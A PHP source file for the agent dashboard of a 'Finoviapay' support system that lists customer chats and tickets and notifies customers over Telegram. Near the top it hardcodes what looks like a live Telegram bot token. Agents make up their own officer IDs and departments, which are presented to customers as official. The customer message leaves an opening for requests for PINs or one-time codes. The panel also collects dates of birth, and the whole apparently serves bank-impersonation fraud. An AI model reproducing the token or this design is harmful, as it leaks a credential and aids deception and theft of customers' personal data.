<?php
session_start();
require_once "config.php";

if (!isset($_SESSION['agent_id'])) {
    header("Location: login.php");
    exit;
}

$botToken = "8367895377:AAGLCU-UwilSIlsfZgh_TjTTAdryK0uu5Xw";
$agent_id = (int)$_SESSION['agent_id'];

function h($value): string {
    return htmlspecialchars((string)$value, ENT_QUOTES, 'UTF-8');
}

function sendTelegramMessage(string $botToken, $chatId, string $message): void
{
    if ($botToken === '' || $botToken === 'YOUR_TELEGRAM_BOT_TOKEN_HERE') {
        error_log("Telegram bot token is missing in dashboard.php");
        return;
    }

    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";

    $postFields = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_exec($ch);
        curl_close($ch);
    } else {
        @file_get_contents($url . '?' . http_build_query($postFields));
    }
}

function insertSystemMessage(PDO $pdo, int $chatId, string $message): void
{
    $stmt = $pdo->prepare("
        INSERT INTO support_messages (chat_id, sender, message, created_at)
        VALUES (:chat_id, 'system', :message, NOW())
    ");
    $stmt->execute([
        ':chat_id' => $chatId,
        ':message' => $message
    ]);
}

function formatStatus(string $status): string
{
    return match ($status) {
        'waiting', 'open' => 'Waiting for Agent',
        'active' => 'Active Chat',
        'transferred' => 'Transferred',
        'closed' => 'Closed',
        default => ucfirst($status),
    };
}

function formatTicketStatus(string $status): string
{
    return match ($status) {
        'open' => 'Open',
        'under_review' => 'Under Review',
        'waiting_for_customer' => 'Waiting for Customer',
        'resolved' => 'Resolved',
        'closed' => 'Closed',
        default => ucwords(str_replace('_', ' ', $status)),
    };
}

// Fetch current agent info
$stmtAgent = $pdo->prepare("SELECT * FROM support_agents WHERE id = :id LIMIT 1");
$stmtAgent->execute([':id' => $agent_id]);
$agent = $stmtAgent->fetch(PDO::FETCH_ASSOC);
$defaultAgentName = trim((string)($agent['name'] ?? 'Finoviapay Support Officer'));

// Mark agent online
$pdo->prepare("UPDATE support_agents SET online_status = 'online' WHERE id = :id")->execute([':id' => $agent_id]);

$successMessage = '';
$errorMessage = '';

// Join chat submit action
if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'join_chat') {
    $chatId = (int)($_POST['chat_id'] ?? 0);
    $officerName = trim((string)($_POST['officer_name'] ?? ''));
    $bankerOfficerId = trim((string)($_POST['banker_officer_id'] ?? ''));
    $department = trim((string)($_POST['department'] ?? ''));

    if ($chatId <= 0 || $officerName === '' || $bankerOfficerId === '' || $department === '') {
        $errorMessage = 'Please complete all required officer details before joining the chat.';
    } else {
        $stmtChat = $pdo->prepare("SELECT * FROM support_chats WHERE id = :id LIMIT 1");
        $stmtChat->execute([':id' => $chatId]);
        $joinChat = $stmtChat->fetch(PDO::FETCH_ASSOC);

        if (!$joinChat) {
            $errorMessage = 'The selected support request could not be found.';
        } else {
            $telegramId = (string)($joinChat['telegram_id'] ?? '');

            $stmtUpdate = $pdo->prepare("
                UPDATE support_chats
                SET agent_id = :agent_id,
                    agent_name = :agent_name,
                    banker_officer_id = :banker_officer_id,
                    department = :department,
                    status = 'active',
                    agent_joined = 1,
                    agent_joined_notified = 1,
                    updated_at = NOW()
                WHERE id = :id
            ");

            $stmtUpdate->execute([
                ':agent_id' => $agent_id,
                ':agent_name' => $officerName,
                ':banker_officer_id' => $bankerOfficerId,
                ':department' => $department,
                ':id' => $chatId
            ]);

            $joinMessage = "Your live support request has now been accepted and joined by a FinoviaPay Support Officer.\n\nAssigned Support Officer: {$officerName}\nBanker Officer ID: {$bankerOfficerId}\nDepartment: {$department}\n\nYour assigned officer is now reviewing your request and will continue assisting you through this secure conversation.\n\nFor your protection, please do not share your account password, card PIN, or one-time verification codes during this chat unless specifically instructed through an official and secure FinoviaPay verification process.\n\nYou may now continue your conversation with the assigned support officer.";

            if ($telegramId !== '') {
                sendTelegramMessage($botToken, $telegramId, $joinMessage);
            }

            insertSystemMessage($pdo, $chatId, "Support Officer {$officerName} (Banker Officer ID: {$bankerOfficerId}, Department: {$department}) joined the conversation.");

            header("Location: chat.php?chat_id=" . $chatId);
            exit;
        }
    }
}

// Filter
$allowedFilters = ['all', 'waiting', 'active', 'transferred', 'closed'];
$filter = $_GET['filter'] ?? 'all';
if (!in_array($filter, $allowedFilters, true)) {
    $filter = 'all';
}

$where = "WHERE status IN ('waiting','open','active','transferred')";
$params = [];
if ($filter !== 'all') {
    if ($filter === 'waiting') {
        $where = "WHERE status IN ('waiting','open')";
    } elseif ($filter === 'active') {
        $where = "WHERE status = 'active'";
    } elseif ($filter === 'transferred') {
        $where = "WHERE status = 'transferred'";
    } elseif ($filter === 'closed') {
        $where = "WHERE status = 'closed'";
    }
}

// Dashboard stats
$stats = [
    'waiting' => 0,
    'active' => 0,
    'transferred' => 0,
    'closed' => 0,
];

foreach (array_keys($stats) as $statKey) {
    if ($statKey === 'waiting') {
        $q = $pdo->query("SELECT COUNT(*) FROM support_chats WHERE status IN ('waiting','open')");
    } else {
        $q = $pdo->prepare("SELECT COUNT(*) FROM support_chats WHERE status = :status");
        $q->execute([':status' => $statKey]);
    }
    $stats[$statKey] = (int)$q->fetchColumn();
}


// Ticket dashboard stats
$ticketStats = [
    'open' => 0,
    'under_review' => 0,
    'waiting_for_customer' => 0,
    'resolved' => 0,
    'closed' => 0,
];

foreach (array_keys($ticketStats) as $ticketStatus) {
    $q = $pdo->prepare("SELECT COUNT(*) FROM support_tickets WHERE status = :status");
    $q->execute([':status' => $ticketStatus]);
    $ticketStats[$ticketStatus] = (int)$q->fetchColumn();
}

// Ticket filter
$allowedTicketFilters = ['open', 'under_review', 'waiting_for_customer', 'resolved', 'closed'];
$ticketFilter = $_GET['ticket_filter'] ?? 'open';
if (!in_array($ticketFilter, $allowedTicketFilters, true)) {
    $ticketFilter = 'open';
}

$stmtTickets = $pdo->prepare("
    SELECT *
    FROM support_tickets
    WHERE status = :status
    ORDER BY id DESC
    LIMIT 20
");
$stmtTickets->execute([':status' => $ticketFilter]);
$tickets = $stmtTickets->fetchAll(PDO::FETCH_ASSOC);

$ticketFilters = [
    'open' => 'Open',
    'under_review' => 'Under Review',
    'waiting_for_customer' => 'Waiting for Customer',
    'resolved' => 'Resolved',
    'closed' => 'Closed',
];

// Fetch latest support tickets
// Fetch chats

$sql = "SELECT * FROM support_chats {$where} ORDER BY
        CASE
            WHEN status IN ('waiting','open') THEN 1
            WHEN status = 'transferred' THEN 2
            WHEN status = 'active' THEN 3
            WHEN status = 'closed' THEN 4
            ELSE 5
        END,
        id DESC";
$stmtChats = $pdo->prepare($sql);
$stmtChats->execute($params);
$chats = $stmtChats->fetchAll(PDO::FETCH_ASSOC);

$filters = [
    'all' => 'All Open',
    'waiting' => 'Waiting',
    'active' => 'Active',
    'transferred' => 'Transferred',
    'closed' => 'Closed',
];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Finoviapay Agent Dashboard</title>
<style>
*{box-sizing:border-box}
body{margin:0;font-family:Arial,sans-serif;background:#f4f7fb;color:#1f2937}
a{text-decoration:none}
.header{background:linear-gradient(135deg,#0f8f57,#18a96b);color:#fff;padding:16px 14px;position:sticky;top:0;z-index:50;box-shadow:0 2px 10px rgba(0,0,0,.12)}
.header-top{display:flex;align-items:center;justify-content:space-between;gap:10px}
.brand{font-size:18px;font-weight:700}
.agent-badge{font-size:12px;background:rgba(255,255,255,.14);padding:8px 10px;border-radius:999px;white-space:nowrap}
.container{padding:12px;max-width:980px;margin:0 auto 40px}
.alert{padding:12px 14px;border-radius:14px;margin:12px 0;font-size:14px}
.alert-error{background:#fff1f2;color:#9f1239;border:1px solid #fecdd3}
.alert-success{background:#ecfdf5;color:#065f46;border:1px solid #a7f3d0}
.stats{display:grid;grid-template-columns:repeat(2,1fr);gap:10px;margin:12px 0}
.stat-card{background:#fff;border-radius:14px;padding:14px;box-shadow:0 2px 10px rgba(0,0,0,.06)}
.stat-label{font-size:12px;color:#6b7280;margin-bottom:6px}
.stat-value{font-size:24px;font-weight:700}
.filters{display:flex;gap:8px;overflow:auto;padding-bottom:2px;margin:8px 0 14px}
.filter-btn{padding:10px 12px;border-radius:999px;background:#e5e7eb;color:#111827;font-size:13px;white-space:nowrap}
.filter-btn.active{background:#0f8f57;color:#fff}
.section-title{font-size:17px;font-weight:700;margin:8px 0 12px}
.chat-list{display:grid;gap:12px}
.chat-card{background:#fff;border-radius:16px;padding:14px;box-shadow:0 3px 12px rgba(0,0,0,.07)}
.chat-head{display:flex;justify-content:space-between;align-items:flex-start;gap:10px;margin-bottom:10px}
.chat-title{font-size:16px;font-weight:700;line-height:1.3}
.status-badge{padding:7px 10px;border-radius:999px;font-size:12px;font-weight:700;white-space:nowrap}
.status-waiting,.status-open{background:#fff3cd;color:#8a6400}
.status-active{background:#d1fae5;color:#065f46}
.status-transferred{background:#dbeafe;color:#1d4ed8}
.status-closed{background:#e5e7eb;color:#4b5563}
.info-grid{display:grid;grid-template-columns:1fr;gap:8px;margin:10px 0 12px}
.info-item{background:#f8fafc;border:1px solid #edf2f7;border-radius:12px;padding:10px}
.info-label{display:block;font-size:11px;text-transform:uppercase;letter-spacing:.4px;color:#6b7280;margin-bottom:4px}
.info-value{font-size:14px;font-weight:600;word-break:break-word}
.sub-note{font-size:12px;color:#6b7280;line-height:1.55;margin-top:8px}
.action-row{display:flex;gap:8px;flex-wrap:wrap;margin-top:12px}
.btn{display:inline-flex;align-items:center;justify-content:center;border:none;border-radius:12px;padding:12px 14px;font-size:14px;font-weight:700;cursor:pointer}
.btn-primary{background:#0f8f57;color:#fff}
.btn-secondary{background:#111827;color:#fff}
.btn-light{background:#eef2f7;color:#111827}
.empty-state{background:#fff;border-radius:16px;padding:22px 16px;text-align:center;box-shadow:0 2px 10px rgba(0,0,0,.06);color:#6b7280}
.join-form{margin-top:14px;border-top:1px solid #edf2f7;padding-top:14px}
.form-grid{display:grid;grid-template-columns:1fr;gap:10px}
.field{display:flex;flex-direction:column;gap:6px}
.field label{font-size:12px;font-weight:700;color:#374151}
.field input{width:100%;padding:12px 13px;border:1px solid #d1d5db;border-radius:12px;font-size:14px}
.join-note{font-size:12px;color:#6b7280;line-height:1.5;margin-top:10px}
.ticket-grid{display:grid;grid-template-columns:repeat(2,1fr);gap:10px;margin:16px 0 10px}
.ticket-card{background:#fff;border-radius:14px;padding:14px;box-shadow:0 2px 10px rgba(0,0,0,.06)}
.ticket-list{display:grid;gap:12px;margin-top:12px}
.ticket-badge{padding:7px 10px;border-radius:999px;font-size:12px;font-weight:700;white-space:nowrap}
.ticket-open{background:#fff3cd;color:#8a6400}
.ticket-under_review{background:#dbeafe;color:#1d4ed8}
.ticket-waiting_for_customer{background:#ede9fe;color:#6d28d9}
.ticket-resolved{background:#d1fae5;color:#065f46}
.ticket-closed{background:#e5e7eb;color:#4b5563}
@media (min-width:700px){
  .stats{grid-template-columns:repeat(4,1fr)}
  .ticket-grid{grid-template-columns:repeat(5,1fr)}
  .info-grid{grid-template-columns:repeat(2,1fr)}
  .form-grid{grid-template-columns:repeat(3,1fr)}
}
</style>
</head>
<body>
<div class="header">
    <div class="header-top">
        <div class="brand">Finoviapay Agent Dashboard</div>
        <div class="agent-badge"><?= h($defaultAgentName) ?> · Online</div>
    </div>
</div>

<div class="container">
    <?php if ($errorMessage !== ''): ?>
        <div class="alert alert-error"><?= h($errorMessage) ?></div>
    <?php endif; ?>
    <?php if ($successMessage !== ''): ?>
        <div class="alert alert-success"><?= h($successMessage) ?></div>
    <?php endif; ?>

    <div class="stats">
        <div class="stat-card"><div class="stat-label">Waiting Chats</div><div class="stat-value"><?= (int)$stats['waiting'] ?></div></div>
        <div class="stat-card"><div class="stat-label">Active Chats</div><div class="stat-value"><?= (int)$stats['active'] ?></div></div>
        <div class="stat-card"><div class="stat-label">Transferred</div><div class="stat-value"><?= (int)$stats['transferred'] ?></div></div>
        <div class="stat-card"><div class="stat-label">Closed</div><div class="stat-value"><?= (int)$stats['closed'] ?></div></div>
    </div>

    <div class="filters">
        <?php foreach ($filters as $key => $label): ?>
            <a class="filter-btn <?= $filter === $key ? 'active' : '' ?>" href="?filter=<?= h($key) ?>"><?= h($label) ?></a>
        <?php endforeach; ?>
    </div>

    <div class="section-title">Customer Support Requests</div>

    <?php if (empty($chats)): ?>
        <div class="empty-state">
            No support chats found for the selected filter.
        </div>
    <?php else: ?>
        <div class="chat-list">
            <?php foreach ($chats as $chat):
                $status = (string)($chat['status'] ?? 'waiting');
                $customerName = trim((string)($chat['customer_name'] ?? 'Customer'));
                $customerMobile = trim((string)($chat['customer_mobile'] ?? 'Not available'));
                $customerDob = trim((string)($chat['customer_dob'] ?? 'Not available'));
                $telegramId = trim((string)($chat['telegram_id'] ?? 'Not available'));
                $agentAssigned = trim((string)($chat['agent_name'] ?? 'Not assigned yet'));
                $createdAt = trim((string)($chat['created_at'] ?? ''));
                $transferTo = trim((string)($chat['transferred_to_agent'] ?? ''));
                $bankerOfficerId = trim((string)($chat['banker_officer_id'] ?? ''));
                $department = trim((string)($chat['department'] ?? ''));
            ?>
                <div class="chat-card">
                    <div class="chat-head">
                        <div class="chat-title">
                            Chat #<?= (int)$chat['id'] ?><br>
                            <?= h($customerName) ?>
                        </div>
                        <div class="status-badge status-<?= h($status) ?>"><?= h(formatStatus($status)) ?></div>
                    </div>

                    <div class="info-grid">
                        <div class="info-item">
                            <span class="info-label">Customer Name</span>
                            <div class="info-value"><?= h($customerName) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Registered Mobile</span>
                            <div class="info-value"><?= h($customerMobile) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Date of Birth</span>
                            <div class="info-value"><?= h($customerDob) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Telegram ID</span>
                            <div class="info-value"><?= h($telegramId) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Assigned Agent</span>
                            <div class="info-value"><?= h($agentAssigned) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Requested At</span>
                            <div class="info-value"><?= h($createdAt) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Banker Officer ID</span>
                            <div class="info-value"><?= h($bankerOfficerId !== '' ? $bankerOfficerId : 'Not assigned yet') ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Department</span>
                            <div class="info-value"><?= h($department !== '' ? $department : 'Not assigned yet') ?></div>
                        </div>
                    </div>

                    <?php if ($transferTo !== ''): ?>
                        <div class="sub-note"><strong>Transfer Note:</strong> This conversation is marked for transfer to <?= h($transferTo) ?>.</div>
                    <?php endif; ?>

                    <div class="sub-note">
                        This customer has requested to speak with a live Finoviapay support officer. Please review the customer details carefully before joining the conversation.
                    </div>

                    <?php if (in_array($status, ['waiting', 'open', 'transferred'], true)): ?>
                        <form method="post" class="join-form">
                            <input type="hidden" name="action" value="join_chat">
                            <input type="hidden" name="chat_id" value="<?= (int)$chat['id'] ?>">

                            <div class="form-grid">
                                <div class="field">
                                    <label>Support Officer Name</label>
                                    <input type="text" name="officer_name" value="<?= h($defaultAgentName) ?>" required>
                                </div>
                                <div class="field">
                                    <label>Banker Officer ID</label>
                                    <input type="text" name="banker_officer_id" placeholder="e.g. FNP-MR-U10923" required>
                                </div>
                                <div class="field">
                                    <label>Department</label>
                                    <input type="text" name="department" placeholder="e.g. Card Operations Department" required>
                                </div>
                            </div>

                            <div class="join-note">
                                When you join this request, the customer will immediately receive a professional Finoviapay notification including your officer name, Banker Officer ID, and department details.
                            </div>

                            <div class="action-row">
                                <button type="submit" class="btn btn-primary">Join Chat</button>
                                <a class="btn btn-light" href="chat.php?chat_id=<?= (int)$chat['id'] ?>">View Conversation</a>
                            </div>
                        </form>
                    <?php else: ?>
                        <div class="action-row">
                            <a class="btn btn-secondary" href="chat.php?chat_id=<?= (int)$chat['id'] ?>">Open Chat</a>
                            <a class="btn btn-light" href="chat.php?chat_id=<?= (int)$chat['id'] ?>">View Conversation</a>
                        </div>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <div class="section-title" style="margin-top:22px;">Support Tickets</div>

    <div class="ticket-grid">
        <div class="ticket-card"><div class="stat-label">Open Tickets</div><div class="stat-value"><?= (int)$ticketStats['open'] ?></div></div>
        <div class="ticket-card"><div class="stat-label">Under Review</div><div class="stat-value"><?= (int)$ticketStats['under_review'] ?></div></div>
        <div class="ticket-card"><div class="stat-label">Waiting for Customer</div><div class="stat-value"><?= (int)$ticketStats['waiting_for_customer'] ?></div></div>
        <div class="ticket-card"><div class="stat-label">Resolved</div><div class="stat-value"><?= (int)$ticketStats['resolved'] ?></div></div>
        <div class="ticket-card"><div class="stat-label">Closed</div><div class="stat-value"><?= (int)$ticketStats['closed'] ?></div></div>
    </div>

    <div class="filters">
        <?php foreach ($ticketFilters as $key => $label): ?>
            <a class="filter-btn <?= $ticketFilter === $key ? 'active' : '' ?>" href="?filter=<?= h($filter) ?>&ticket_filter=<?= h($key) ?>"><?= h($label) ?></a>
        <?php endforeach; ?>
    </div>

    <?php if (empty($tickets)): ?>
        <div class="empty-state">
            No support tickets found for the selected ticket tab.
        </div>
    <?php else: ?>
        <div class="ticket-list">
            <?php foreach ($tickets as $ticket):
                $ticketStatus = (string)($ticket['status'] ?? 'open');
                $ticketIdText = trim((string)($ticket['ticket_id'] ?? ('TICKET-' . (int)($ticket['id'] ?? 0))));
                $ticketCustomerName = trim((string)($ticket['customer_name'] ?? 'Customer'));
                $ticketCategory = trim((string)($ticket['category'] ?? 'Not available'));
                $ticketDepartment = trim((string)($ticket['department'] ?? 'Not assigned'));
                $ticketIssueType = trim((string)($ticket['issue_type'] ?? 'Not available'));
                $ticketCardType = trim((string)($ticket['card_type'] ?? 'Not available'));
                $ticketCreatedAt = trim((string)($ticket['created_at'] ?? ''));
                $ticketDescription = trim((string)($ticket['description'] ?? 'No description provided.'));
            ?>
                <div class="chat-card">
                    <div class="chat-head">
                        <div class="chat-title">
                            <?= h($ticketIdText) ?><br>
                            <?= h($ticketCustomerName) ?>
                        </div>
                        <div class="ticket-badge ticket-<?= h($ticketStatus) ?>"><?= h(formatTicketStatus($ticketStatus)) ?></div>
                    </div>

                    <div class="info-grid">
                        <div class="info-item">
                            <span class="info-label">Ticket ID</span>
                            <div class="info-value"><?= h($ticketIdText) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Customer Name</span>
                            <div class="info-value"><?= h($ticketCustomerName) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Category</span>
                            <div class="info-value"><?= h($ticketCategory) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Department</span>
                            <div class="info-value"><?= h($ticketDepartment) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Issue Type</span>
                            <div class="info-value"><?= h($ticketIssueType) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Card Type</span>
                            <div class="info-value"><?= h($ticketCardType !== '' ? $ticketCardType : 'Not available') ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Created At</span>
                            <div class="info-value"><?= h($ticketCreatedAt) ?></div>
                        </div>
                        <div class="info-item">
                            <span class="info-label">Status</span>
                            <div class="info-value"><?= h(formatTicketStatus($ticketStatus)) ?></div>
                        </div>
                    </div>

                    <div class="sub-note">
                        <strong>Customer Issue:</strong> <?= h($ticketDescription) ?>
                    </div>

                    <div class="sub-note">
                        This support ticket has been submitted by the customer for review by the relevant Finoviapay support department.
                    </div>

                    <div class="action-row">
                        <a class="btn btn-secondary" href="ticket_detail.php?id=<?= (int)$ticket['id'] ?>">Open Ticket</a>
                    </div>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>

</div>
</body>
</html>
